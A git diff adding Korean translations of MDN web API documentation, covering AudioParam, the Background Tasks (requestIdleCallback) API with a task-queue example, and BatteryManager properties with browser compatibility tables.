{{domxref("AudioParam.minValue")}} {{readonlyinline}}
+
Represents the minimum possible value for the parameter's nominal (effective) range. 
+
{{domxref("AudioParam.value")}}
+
Represents the parameter's current volume as a floating point value; initially set to the value of AudioParam.defaultValue. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the AudioParam — are ignored, without raising any exception.
+
+ +

Methods

+ +

AudioParam Inherits methods from its parent, AudioNode.

+ +
+
{{domxref("AudioParam.setValueAtTime()")}}
+
Schedules an instant change to the value of the AudioParam at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the value parameter.
+
{{domxref("AudioParam.linearRampToValueAtTime()")}}
+
Schedules a gradual linear change in the value of the AudioParam. The change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.exponentialRampToValueAtTime()")}}
+
Schedules a gradual exponential change in the value of the AudioParam. The change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.setTargetAtTime()")}}
+
Schedules the start of a change to the value of the AudioParam. The change starts at the time specified in startTime and exponentially moves towards the value given by the target parameter. The exponential decay rate is defined by the timeConstant parameter, which is a time measured in seconds.
+
{{domxref("AudioParam.setValueCurveAtTime()")}}
+
Schedules the values of the AudioParam to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.
+
{{domxref("AudioParam.cancelScheduledValues()")}}
+
Cancels all scheduled future changes to the AudioParam.
+
{{domxref("AudioParam.cancelAndHoldAtTime()")}}
+
Cancels all scheduled future changes to the AudioParam but holds its value at a given time until further changes are made using other methods.
+
+ +

Examples

+ +

First, a basic example showing a {{domxref("GainNode")}} having its gain value set. gain is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;
+ +

Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var biquadFilter = audioCtx.createBiquadFilter();
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioParam")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/background_tasks_api/index.html b/files/ko/web/api/background_tasks_api/index.html new file mode 100644 index 0000000000..ac982d3e55 --- /dev/null +++ b/files/ko/web/api/background_tasks_api/index.html @@ -0,0 +1,511 @@ +--- +title: Cooperative Scheduling of Background Tasks API +slug: Web/API/Background_Tasks_API +translation_of: Web/API/Background_Tasks_API +--- +
{{DefaultAPISidebar("Background Tasks")}}{{draft}}
+ +

Cooperative Scheduling of Background Tasks API (Background Tasks API 또는 간단하게 requestIdleCallback() API 라고도 부릅니다.) 는 user agnet가 자유 시간이 있다고 판단되면, 자동으로 실행될 작업을 대기열(queue tasks)에 넣을 수 있는 기능을 제공합니다.

+ +

Concepts and usage

+ +

웹 브라우저의 메인 스레드는 이벤트 루프를 중심으로 배치됩니다. 이 코드는 현재 표시중인 {{domxref("Document")}}에 대한 모든 대기중인 업데이트를 가져오고, 페이지에서 실행해야하는 모든 자바스크립트 코드를 실행하고, 입력 장치에서 이벤트를 받아들이고, 이를 받을 요소(엘리먼트)에 해당 이벤트를 전달(dispatch) 합니다. 또한 이벤트 루프는 운영 체제와의 상호작용, 브라우저 자체 유저 인터페이스에 대한 업데이트 등을 처리합니다. 이것은 매우 복잡한 코드 덩어리이며, 메인 자바스크립트 코드는 이 모든 스레드와 코드가 함께 바로 실행될 수 있습니다. 유저 인터페이스 변경이 메인 스레드에서만 가능하기 때문에, 대부분의 코드가 DOM을 변경할 수 있는 것은 아니지만 메인 스레드에서 실행되고 있습니다.

+ +

이벤트 처리 및 화면 업데이트는 유저가 성능 문제를 인식하는 가장 분명한 두 가지 부분입니다. 따라서 우리의 코드가 웹의 훌륭한 시민이되고, 이벤트 루프의 실행이 지연되는 것을 방지하는것이 중요합니다. 과거에는 최대한 효율적으로 코드를 작성하고, 가능한 많은 작업을 웹 워커(workers) 에게 맡기는 것 외에는 안정적으로 수행할 수 있는 방법이 없었습니다. {{domxref("Window.requestIdleCallback()")}}을 사용하면 브라우저의 이벤트 루프가 원활하게 실행되도록 보장하는데 적극적으로 참여할 수 있습니다. 또한 브라우저가 시스템에서 지연없이 안전하게 사용할 수 있는 시간을 코드에 알릴 수 있습니다. 그리고 주어진 한도 내에 있으면 사용자의 경험을 훨씬 향상 시킬 수 있습니다.

+ +

Getting the most out of idle callbacks

+ +

아이들 콜백(idle callbacks)은 코드를 이벤트 루프와 협력하여 시스템이 과도하게 작업하지 않고, 최대한의 잠재력을 발휘할 수 있도록 하기 위한 것입니다. 지연 또는 기타 성능 문제가 발생하는 경우, 이를 사용하는 방법에 대해 생각해볼 수 있습니다.

+ + + +

Falling back to setTimeout

+ +

Background Tasks API는 매우 새롭기 때문에, 우리의 코드가 아직 이 API를 지원하지 않는 브라우저에서 작동해야 하는 경우가 있을 수 있습니다. 우리는 {{domxref("WindowTimers.setTimeout()", "setTimeout()")}}을 fallback 옵션으로 사용하는 간단한 shim으로 그렇게 할 수 있습니다. 이것은 기능적으로 동일하지 않기 때문에 {{Glossary("polyfill")}}이 아닙니다. setTimeout()을 사용하면 유휴 기간(idle periods)을 사용할 수 없습니다. 하지만 대신에 가능한 경우 코드를 실행하여, 사용자가 성능 지연을 경험하지 못하도록 최대한 방지합니다.

+ +
window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+  let startTime = Date.now();
+
+  return setTimeout(function() {
+    handler({
+      didTimeout: false,
+      timeRemaining: function() {
+        return Math.max(0, 50.0 - (Date.now() - startTime));
+      }
+    });
+  }, 1);
+}
+ +

{{domxref("Window.requestIdleCallback", "window.requestIdleCallback")}}이 선언되지 않았다면, 위와같이 만들어 줍니다. 함수는 우리의 코드가 호출 된 시간을 기록하는 것으로 시작합니다. 우리는 이것을 사용하여 {{domxref("IdleDeadline.timeRemaining()", "timeRemaining()")}}에 대해 shim에서 반환 한 값을 계산합니다.

+ +

그리고 나서 {{domxref("WindowTimers.setTimeout", "setTimeout()")}}을 호출하여, 우리의 requestIdleCallback() 구현에 전달 된 콜백을 실행하는 함수를 전달합니다. 이 콜백은 {{domxref("IdleDeadline")}}을 준수하는 객체로 전달됩니다. 이 객체는 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 false로 설정하고, {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드가  전달되어 콜백에 50 밀리초의 시간을 제공합니다. timeRemaining()이 호출될 때 마다 본래의 50밀리초에서 경과시간을 뺀 남은 시간을 결정합니다.

+ +

결과적으로, 우리의 shim이 현재 requestIdleCallback()처럼 지금 이벤트 루프에 남아있는 유휴 시간(idle time)의 양을 제한하지는 않습니다. 하지만 콜백을 적어도 패스당 50밀리초 이하의 실행시간으로 제한합니다.

+ +

{{domxref("Window.cancelIdleCallback", "cancelIdleCallback()")}}에 대한 shim 구현은 훨씬 간단합니다:

+ +
window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+  clearTimeout(id);
+}
+ +

cancelIdleCallback()이 선언되지 않은 경우, 이는 단순히 지정된 콜백 ID를 {{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}에 전달하는 메서드를 생성합니다.

+ +

이제 우리의 코드는 효율적이지는 않지만, Background Tasks API를 지원하지 않는 브라우저에서도 작동합니다.

+ +

Interfaces

+ +

Background Tasks API 는 단 하나의 새 인터페이스를 추가합니다:

+ +
+
{{domxref("IdleDeadline")}}
+
이 유형의 객체는 유휴 콜백(idle callback)에 전달되어 유휴 기간(idle period)이 지속되는 예상시간과, timeout 기간이 만료되어 콜백이 실행중인지 여부를 제공합니다.
+
+ +

{{domxref("Window")}} 인터페이스 또한 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}, {{domxref("window.cancelIdleCallback", "cancelIdleCallback()")}} 이라는 새로운 두 메서드를 제공하는 API에 의해 확장되었습니다.

+ +

Example

+ +

이 예제에서는 {{domxref("window.requestIdleCallback", "requestIdleCallback()")}}을 사용하여 브라우저가 유휴 상태인 시간 동안, 시간이 많이 걸리면서 우선 순위가 낮은 작업을 실행하는 방법을 살펴 보겠습니다. 또한 이 예제는 {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 문서 내용에 대한 업데이트를 예약하는 방법을 보여줍니다.

+ +

아래 예제에서는 HTML과 자바스크립트만 볼 수 있습니다. CSS는 이 기능을 이해하는데 특별히 중요하지 않아서, 표시하지 않습니다.

+ +

HTML content

+ +

우리가 성취하려는 것을 지향하기 위해 HTML을 살펴보겠습니다. 이것은 텍스트 출력을 표시하는데 사용되는 두 번째 메인 박스(ID "logBox")뿐만 아니라, 작업 진행 상황을 나타내는데 사용되는 박스(ID "Container")를 만듭니다. 이는 quantum filament tachyon emissions의 해독이 얼마나 걸릴지 알 수 없기 때문입니다.

+ +
<p>
+  Demonstration of using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Background_Tasks_API">
+  cooperatively scheduled background tasks</a> using the <code>requestIdleCallback()</code>
+  method.
+</p>
+
+<div class="container">
+  <div class="label">Decoding quantum filament tachyon emissions...</div>
+  <progress id="progress" value="0"></progress>
+  <div class="button" id="startButton">
+    Start
+  </div>
+  <div class="label counter">
+    Task <span id="currentTaskNumber">0</span> of <span id="totalTaskCount">0</span>
+  </div>
+</div>
+
+<div class="logBox">
+  <div class="logHeader">
+    Log
+  </div>
+  <div id="log">
+  </div>
+</div>
+ +

progress box는 진행률을 나타내는 {{HTMLElement("progress")}} 요소(엘리먼트)를 사용합니다. 또한 진행률에 대한 정보를 숫자로 표시하며, 얼마나 변경이 되었는지 확인할 수 있는 label을 사용합니다. 또한 사용자가 데이터 처리를 시작하는데 사용하는 "Start" 버튼(ID "startButton")이 있습니다.

+ + + +

JavaScript content

+ +

이제 문서 구조가 정의되었으므로, 작업을 수행할 자바스크립트 코드를 작성하겠습니다.
+ 목표: 시스템이 유휴 상태일 때 마다 해당 기능을 실행하는 유휴 콜백과 함께, 함수를 호출하기 위한 요청을 큐에 추가할 수 있습니다.

+ +

Variable declarations

+ +
let taskList = [];
+let totalTaskCount = 0;
+let currentTaskNumber = 0;
+let taskHandle = null;
+
+ +

이 변수들은 처리 대기중인 태스크 리스트(task list)와, 태스크 큐(task queue) 및 실행에 대한 상태 정보를 관리하는데 사용합니다:

+ + + +
let totalTaskCountElem = document.getElementById("totalTaskCount");
+let currentTaskNumberElem = document.getElementById("currentTaskNumber");
+let progressBarElem = document.getElementById("progress");
+let startButtonElem = document.getElementById("startButton");
+let logElem = document.getElementById("log");
+
+ +

다음으로 우리는 상호작용할 필요가 있는 DOM 요소를 참조하는 변수를 선언합니다. 이 요소들은 다음과 같습니다:

+ + + +
let logFragment = null;
+let statusRefreshScheduled = false;
+
+ +

마지막으로 다른 항목에 대한 몇 가지 변수를 설정합니다:

+ + + + + +

Managing the task queue

+ +

다음으로 수행해야 할 태스크를 관리하는 방법을 알아보겠습니다. 우리는 아이들 콜백(idle callback) 기간 동안 시간이 허락하는대로, 태스크의 FIFO 큐를 생성함으로써 이를 수행할 것입니다.

+ +
Enqueueing tasks
+ +

첫째, 향후 실행을 위해 태스크를 큐에 넣는 함수가 필요합니다. 그 함수인 enqueueTask()는 다음과 같습니다: 

+ +
function enqueueTask(taskHandler, taskData) {
+  taskList.push({
+    handler: taskHandler,
+    data: taskData
+  });
+
+  totalTaskCount++;
+
+  if (!taskHandle) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000 });
+  }
+
+  scheduleStatusRefresh();
+}
+
+ +

enqueueTask() 는 입력으로 두 개의 매개변수(parameter)를 허용합니다:

+ + + +

태스크를 큐에 넣기 위해 객체를 taskList 배열에 push 합니다. 객체는 각각 handler 와 data 라는 이름 아래에 taskHandler 와 taskData 값을 포함합니다. 그리고나서 대기열에 들어간 작업의 총 수를 반영하는 totalTaskCount를 증가시켜 나갑니다(태스크가 큐에서 제거될 때 우리는 그것을 감소시키지 않습니다).

+ +

다음으로 우리는 이미 유휴 콜백(idle callback)이 생성되었는지 확인합니다. 만약 taskHandle 이 0이면 아직 유휴 콜백이 없다는 것을 알기 때문에, {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 호출하여 taskHandle 을 생성합니다. 이 함수는 runTaskQueue()라는 함수를 호출하도록 구성되어 있습니다. 그리고 이 함수는 1초의 timeout을 갖고있기 때문에, 사용 가능한 실제 유휴 시간이 없는 경우에도 초당1회 이상 실행됩니다.

+ +
Running tasks
+ +

유휴 콜백 핸들러인 runTaskQueue() 는 브라우저가 유휴 시간이 충분하다고 판단하거나, 1초의 timeout이 만료될 때 호출됩니다. 이 함수의 일은 대기열에 넣어진 태스크를 실행하는 것입니다.

+ +
function runTaskQueue(deadline) {
+  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && taskList.length) {
+    let task = taskList.shift();
+    currentTaskNumber++;
+
+    task.handler(task.data);
+    scheduleStatusRefresh();
+  }
+
+  if (taskList.length) {
+    taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000} );
+  } else {
+    taskHandle = 0;
+  }
+}
+
+ +

runTaskQueue()의 핵심은 계속되는 반복문입니다.  이 반복문은 taskList에 태스크가 있어야하고, 다음 두 조건 중 하나를 만족해야 합니다.
+ {{domxref("deadline.timeRemaining", "IdleDeadline.timeRemaining")}}을 검사하여 결정된 시간이 0 이상이거나 timeout이 한계에 도달하여 {{domxref("IdleDeadline.didTimeout", "deadline.didTimeout")}}이 참 이어야 합니다.

+ +

실행 시간이 있는 큐의 각 태스트에 대해 다음 작업을 수행합니다:

+ +
    +
  1. 큐에서 태스크 객체를 제거합니다.
  2. +
  3. currentTaskNumber 를 증가시켜서 우리가 실행한 태스크의 수를 추적합니다.
  4. +
  5. 태스크를 처리할 때 호출하는 task.handler에 태스크 데이터 객체(task.data)를 전달합니다.
  6. +
  7. 우리는 scheduleStatusRefresh()함수를 호출하여 진행 상황의 변화를 반영하도록 화면을 업데이트 합니다.
  8. +
+ +

시간이 다 되었을 때, 여전히 리스트에 태스크가 남아있다면 {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 다시 호출하여, 다음에 유휴 시간이 있을 때 작업을 계속 처리할 수 있게 예약 합니다. 큐가 비어 있으면, taskHandle을 0으로 설정하여 콜백을 예약하지 않았음을 나타냅니다. 그러면 우리는 이제 enqueueTask()가 호출 된 다음에 콜백을 요청하는 방법을 알 수 있습니다.

+ +

Updating the status display

+ +

우리는 로그를 출력하고, 진행 상황을 document에 업데이트 하길 원합니다. 그러나 유휴 콜백 내에서 안전하게 DOM을 변경할 수는 없습니다. 대신 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 브라우저에게 문의하도록 요청하여 안전할 때 디스플레이를 업데이트합니다.

+ +
Scheduling display updates
+ +

DOM 변경은 scheduleStatusRefresh()함수를 호출하여 예약합니다.

+ +
function scheduleStatusRefresh() {
+    if (!statusRefreshScheduled) {
+      requestAnimationFrame(updateDisplay);
+      statusRefreshScheduled = true;
+  }
+}
+
+ +

이것은 간단한 함수입니다. statusRefreshScheduled값을 확인하여 디스플레이 새로고침을 예약했는지 여부를 확인합니다. 만약 false 라면 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 호출하여 새로고침을 예약하고, 해당 작업을 처리하기 위해 updateDisplay() 함수를 호출합니다.

+ +
Updating the display
+ +

updateDisplay() 함수는 progress box의 내용과 로그를 그립니다. 다음 프레임을 렌더링하는 과정에서 변경 사항을 적용하기 위해, DOM이 안전한 상태인 경우 브라우저에서 호출합니다.

+ +
function updateDisplay() {
+  let scrolledToEnd = logElem.scrollHeight - logElem.clientHeight <= logElem.scrollTop + 1;
+
+  if (totalTaskCount) {
+    if (progressBarElem.max != totalTaskCount) {
+      totalTaskCountElem.textContent = totalTaskCount;
+      progressBarElem.max = totalTaskCount;
+    }
+
+    if (progressBarElem.value != currentTaskNumber) {
+      currentTaskNumberElem.textContent = currentTaskNumber;
+      progressBarElem.value = currentTaskNumber;
+    }
+  }
+
+  if (logFragment) {
+    logElem.appendChild(logFragment);
+    logFragment = null;
+  }
+
+  if (scrolledToEnd) {
+      logElem.scrollTop = logElem.scrollHeight - logElem.clientHeight;
+  }
+
+  statusRefreshScheduled = false;
+}
+ +

첫 번째로, 로그의 텍스트가 맨 아래로 스크롤되면 scrolledToEndtrue 로 설정됩니다. 그렇지 않으면 false로 설정됩니다. 우리는 이것을 사용하여 컨텐츠에 로그가 추가될 때 마다, 스크롤이 바닥에 유지되도록 스크롤 위치를 업데이트할지 여부를 결정합니다.

+ +

다음으로, 태스크가 큐에 들어간 경우 진행 상태 및 상태 정보를 업데이트 합니다.

+ +
    +
  1. 진행률 막대의 현재 최대 값이 지금 큐에 대기중인 태스크의 총 개수(totalTaskCount)와 다른 경우, 표시되는 전체 태스크 수(totalTaskCountElem)의 내용과 진행률 막대의 최대 값을 업데이트 합니다. 이 값은 적절하게 비례합니다.
  2. +
  3. 지금까지 처리 한 태스크의 수와 동일한 작업을 수행합니다. progressBarElem.value가 현재 처리중인 태스크 넘버(currentTaskNumber)와 다른 경우, 현재 처리중인 태스크와 진행 막대바의 현재 값을 업데이트하여 표시합니다.
  4. +
+ +

그런 다음, 로그에 추가되기를 기다리는 텍스트가 있는 경우(즉, logFragmentnull이 아닌 경우), {{domxref("Node.appendChild", "Element.appendChild()")}}를 사용하여 log 요소(엘리먼트)에 logFragment를 추가합니다. 그 후 logFragmentnull 로 설정하여 다시 추가하지 않도록합니다.

+ +

시작했을 때 로그가 끝까지 스크롤 되면, 우리는 여전히 로그를 확인할 수 있습니다. 그런 다음 statusRefreshScheduledfalse로 설정하여 새로고침을 처리했으며, 새 것을(태스크를) 요청하는것이 안전하다는 것을 표시합니다.

+ +

Adding text to the log

+ +

log() 함수는 지정된 텍스트를 로그에 추가합니다. DOM을 바로 수정하는것이 안전한지 아닌지 log() 함수가 호출될때 우리는 알지 못합니다. 때문에 업데이트가 안전할 때 까지 로그 텍스트를 캐싱합니다. 위의 updateDisplay() 코드에서, 애니메이션 프레임이 업데이트 될 때 실제로 로그 요소에 기록된 텍스트를 추가하는 코드를 찾을 수 있습니다.

+ +
function log(text) {
+  if (!logFragment) {
+      logFragment = document.createDocumentFragment();
+  }
+
+  let el = document.createElement("div");
+  el.innerHTML = text;
+  logFragment.appendChild(el);
+}
+
+ +

먼저, 지금은 존재하지 않는 logFragment라는 {{domxref("DocumentFragment")}}객체를 생성합니다. 이 요소는 메인 DOM 자체를 즉시 변경하지 않고, 요소를 삽입할 수 있는 pseudo-DOM 입니다.

+ +

그런 다음 새로운 {{HTMLElement("div")}} 요소를 만들고, 내용을 입력 text와 일치하도록 설정합니다. 그리고나서 logFragment에 있는 pseudo-DOM의 끝에 새 요소를 추가합니다. DOM에 대한 변경 때문에, logFragmentupdateDisplay()가 호출 될 때까지 로그 항목을 누적합니다.

+ +

Running tasks

+ +

이제 우리는 태스크 관리 및 출력 유지보수 코드를 완성했습니다. 실제로 작업을 완료하는 태스크를 실행하기 위한 설정을 시작할 수 있습니다.

+ +

The task handler

+ +

우리가 태스크 핸들러—즉, 태스크 객체의 handler 속성(property) 값으로 사용할 함수—로 사용할 함수는 logTaskHandler() 입니다. 이것은 각 태스크에 대한 로그에 많은 내용을 출력하는 간단한 함수입니다. 만약 우리가 원한다면, 우리의 어플리케이션에서 이 코드를 유휴 시간(idle time)동안 수행하는 작업으로 대체할 수 있습니다. 단지, DOM을 변경해야 하는 작업은 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 통해 처리해야한다는 것을 기억해야합니다.

+ +
function logTaskHandler(data) {
+  log("<strong>Running task #" + currentTaskNumber + "</strong>");
+
+  for (i=0; i<data.count; i+=1) {
+    log((i+1).toString() + ". " + data.text);
+  }
+}
+
+ +

The main program

+ +

사용자가 시작 버튼을 클릭하면 decodeTechnoStuff() 함수가 호출되며 모든것이 시작됩니다.

+ + + +
function decodeTechnoStuff() {
+  totalTaskCount = 0;
+  currentTaskNumber = 0;
+  updateDisplay();
+
+  let n = getRandomIntInclusive(100, 200);
+
+  for (i=0; i<n; i++) {
+    let taskData = {
+      count: getRandomIntInclusive(75, 150),
+      text: "This text is from task number " + (i+1).toString() + " of " + n
+    };
+
+    enqueueTask(logTaskHandler, taskData);
+  }
+}
+
+document.getElementById("startButton").addEventListener("click", decodeTechnoStuff, false);
+ +

decodeTechnoStuff()가 시작하면 totalTaskCount(현재까지 큐에 추가된 태스크의 수)의 값과 currentTaskNumber(현재 실행중인 태스크의 수) 값을 0으로 설정합니다. 그리고 updateDisplay()를 호출하여 "아직 아무일도 일어나지 않았습니다(nothing's happened yet)" 상태로 재설정합니다.

+ +

이 예제에서는 임의의 수의 태스크(100개에서 200개 사이)를 만듭니다. 이를 위해 우리는 {{jsxref("Math.random()")}}에 대한 문서에서 예제로 제공되는, getRandomIntInclusive() 함수를 사용하여 생성할 태스크 수를 얻습니다.

+ +

그런 다음 루프를 시작하여 실제 태스크를 만듭니다. 각 태스크마다 두 개의 속성(property)이 포함된 taskData객체를 만듭니다:

+ + + +

그러면 각 태스크는 enqueueTask()를 호출하여 대기열에 추가되고 logTaskHandler()가 핸들러 함수로 전달됩니다. 함수가 호출될 때 함수에 전달할 객체로 taskData 객체를 사용합니다.

+ +
+
+ +

Result

+ +

아래는 위 코드의 실제 작동 결과입니다. 사용해보고, 브라우저의 개발자 도구에서 사용하고, 코드에서도 직접 사용해 보세요.

+ +

{{ EmbedLiveSample('Example', 600, 700) }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Window.requestIdleCallback")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/batterymanager/charging/index.html b/files/ko/web/api/batterymanager/charging/index.html new file mode 100644 index 0000000000..711a305781 --- /dev/null +++ b/files/ko/web/api/batterymanager/charging/index.html @@ -0,0 +1,117 @@ +--- +title: BatteryManager.charging +slug: Web/API/BatteryManager/charging +translation_of: Web/API/BatteryManager/charging +--- +
{{APIRef("Battery API")}}
+ +

현재 배터리가 충전중인지를 나타내는 Boolean 값 입니다.

+ +

문법

+ +
var charging = battery.charging
+ +

charging 변수는 배터리가 충전 중인지의 여부를 가져옵니다. 충전중일경우 true. 이외에는 false 를 가리킵니다.

+ +

예제

+ +

HTML Content

+ +
<div id="charging">(charging state unknown)</div>
+ +

JavaScript Content

+ +
navigator.getBattery().then(function(battery) {
+
+    var charging = battery.charging;
+
+    document.querySelector('#charging').textContent = charging ;
+});
+ +

{{ EmbedLiveSample('Example') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
+
+ +

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provide support for the deprecated {{domxref("navigator.battery")}}.

+ +

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/batterymanager/chargingtime/index.html b/files/ko/web/api/batterymanager/chargingtime/index.html new file mode 100644 index 0000000000..7b823afb4b --- /dev/null +++ b/files/ko/web/api/batterymanager/chargingtime/index.html @@ -0,0 +1,74 @@ +--- +title: BatteryManager.chargingTime (배터리관리기 충전시간) +slug: Web/API/BatteryManager/chargingTime +tags: + - API + - Battery API + - 목적 + - 참조 +translation_of: Web/API/BatteryManager/chargingTime +--- +
{{obsolete_header}}
+ +

{{APIRef("Battery API")}}

+ +

몇 초 단위로, 배터리가 완전히 충전될 때까지 남은 시간량을 가리킵니다.

+ +
+

반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.

+
+ +
var time = battery.chargingTime
+ +

반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지  time 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 Infinity, 즉 무한 값이 됩니다.

+ +

예제

+ +

HTML 콘텐츠

+ +
<div id="chargingTime">(charging time unknown)</div>
+
+ +

자바언어 콘텐츠

+ +
navigator.getBattery().then(function(battery) {
+
+   var time = battery.chargingTime;
+
+   document.querySelector('#chargingTime').textContent = battery.chargingTime;
+});
+
+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

설명서

+ + + + + + + + + + + + + + + + +
사양 (설명)상태 (설명)관련 (설명)
{{SpecName("Battery API")}}{{Spec2("Battery API")}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.BatteryManager.chargingTime")}}

+ +

같이 보세요

+ + diff --git a/files/ko/web/api/batterymanager/dischargingtime/index.html b/files/ko/web/api/batterymanager/dischargingtime/index.html new file mode 100644 index 0000000000..c7165c7a52 --- /dev/null +++ b/files/ko/web/api/batterymanager/dischargingtime/index.html @@ -0,0 +1,71 @@ +--- +title: BatteryManager.dischargingTime (배터리관리기 방전시간) +slug: Web/API/BatteryManager/dischargingTime +translation_of: Web/API/BatteryManager/dischargingTime +--- +
{{obsolete_header}}
+ +
{{APIRef("Battery API")}}
+ +

몇 초 단위로, 배터리가 완전히 방전될 때까지 남은 시간량을 가리킵니다.

+ +
+

반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.

+
+ +

Syntax

+ +
var time = battery.dischargingTime
+ +

반환되는 중에, time 은 {{domxref("BatteryManager")}} object(객체)인 battery 가 완전히 방전되고 시스템이 중단되는 몇 초 뒤에 남게 되는 시간입니다.  배터리가 현재 방전되기보다 충전되거나 시스템이 남은 방전 시간을 보고할 수 없다면, 이 값은 무한 값입니다.

+ +

예제

+ +

HTML 콘텐츠

+ +
<div id="dischargingTime">(discharging time unknown)</div>
+
+ +

자바언어 콘텐츠

+ +
navigator.getBattery().then(function(battery) {
+
+    var time = battery.dischargingTime;
+
+    document.querySelector('#dischargingTime').textContent = battery.dischargingTime;
+});
+
+ +

{{ EmbedLiveSample('Example', '100%', 30) }}

+ +

설명서

+ + + + + + + + + + + + + + + + +
사양 (설명)상태 (설명)비고
{{SpecName("Battery API")}}{{Spec2("Battery API")}}최초 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.BatteryManager.dischargingTime")}}

+ +

같이 보세요

+ + diff --git a/files/ko/web/api/batterymanager/index.html b/files/ko/web/api/batterymanager/index.html new file mode 100644 index 0000000000..13ca755062 --- /dev/null +++ b/files/ko/web/api/batterymanager/index.html @@ -0,0 +1,74 @@ +--- +title: BatteryManager +slug: Web/API/BatteryManager +translation_of: Web/API/BatteryManager +--- +

{{ApiRef()}}

+ +

BatteryManager 인터페이스는 시스템의 배터리 충전 상태에 대한 정보를 확인 하는 방법을 제공합니다.

+ +

{{domxref("window.navigator.battery","navigator.battery")}} 프로퍼티는 Battery Status API와 상호작용 할 수 있는 BatteryManager 인터페이스의 인스턴스를 반환합니다.

+ +

프로퍼티

+ +
+
{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}
+
배터리가 현재 충전 중인지 여부를 Boolean 값으로 나타냅니다.
+
{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}
+
배터리가 완전히 충전되기 까지 남은 시간을 초로 표현합니다. 0 이면 이미 배터리의 충전이 완료 된 상황 입니다.
+
{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}
+
배터리가 완전히 방전되고 시스템이 중지 될 때까지의 남은 시간을 초로 표현 합니다.
+
{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}
+
배터리의 충전 상태를 0.0 에서 1.0 사이의 값으로 표현 합니다.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("BatteryManager.onchargingchange")}}
+
{{event("chargingchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 상태가 변경될 때 발생합니다.
+
{{domxref("BatteryManager.onchargingtimechange")}}
+
